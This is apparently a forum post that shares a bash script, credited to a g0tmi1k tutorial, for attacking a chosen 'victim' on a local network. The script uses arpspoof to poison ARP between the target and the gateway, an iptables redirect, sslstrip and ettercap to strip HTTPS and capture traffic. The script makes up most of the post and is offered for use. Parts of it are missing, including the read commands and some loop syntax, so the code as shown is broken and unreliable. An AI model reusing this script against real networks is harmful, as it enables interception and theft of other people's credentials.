More thorough script not including error-handling, because it is what I am known not to do. =P
#Reason for making: For myself, and others
#Thank you g0tmi1k for putting together the tutorial
echo -n "Enter gateway address: "
xterm -T ''Nmap'' -e "nmap -sP $gatewayAddress/24 ; bash" &
#Ip address of 'victim'
echo -n "Enter IP to be stripped: "
#Device to be used through-out
echo -n "Enter device to be used: "
echo 1 > /proc/sys/net/ipv4/ip_forward
xterm -T "Arpspoof" -geometry 90x15 -e "arpspoof -i $device -t $clientIP $gatewayAddress ; bash" &
#Inserts rule into iptable
xterm -T "Iptables" -geometry 90x15 -e "iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000" &
xterm -T "SslStrip" -geometry 90x15 -e "sslstrip -a -k -f ; bash" &
xterm -T "Ettercap" -geometry 90x15 -e "ettercap -T -q -i $device ; bash" &
while [[ $decision != 'n' ]]
echo -n "Done [y/n]: "
if [[ $decision == 'y' ]]; then
Yet again, thank you g0tmi1k for writing this tutorial and creating videos on the subject.
If there are any errors, please report them in a PM to me, to not clutter this topic. This script is not
perfect so bear with me.
@Voodoo: Google it man.